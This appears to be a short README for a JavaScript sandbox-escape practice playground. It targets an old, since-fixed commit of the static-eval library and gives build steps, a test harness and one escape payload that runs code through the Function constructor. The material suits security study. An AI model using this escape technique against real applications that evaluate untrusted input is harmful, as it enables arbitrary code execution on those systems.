JS Sandbox Escape - Playground

This Playground is based on different JS Sandbox technique and it is useful to improve Sandbox escaping technique in JS context.

static-eval

• Project
  • static-eval cloned from following commit

    git clone git@github.com:browserify/static-eval.git
    git checkout c0e719f6b689b5c0f9fc84125741509891ac10ca
    

    Following vulnerability was fixed as described on static-eval PR-18
• Reference
  • maustin.net - Unsafe Code Execution in static-eval

Build

cd static-eval/
npm install

Test Case

$ cat eval.js 
var evaluate = require('../index.js');
var parse = require('esprima').parse;

var src = process.argv.slice(2).join(' ');
var ast = parse(src).body[0].expression;

console.log(evaluate(ast));

Normal Sandboxed Execution

• math

node eval.js '1+1'
2

• console.log

node eval.js 'console.log(1)'
undefined

Sandbox Escape Exploit Example

• console.log

node eval.js '(function () {}).constructor("console.log(1)")()'
1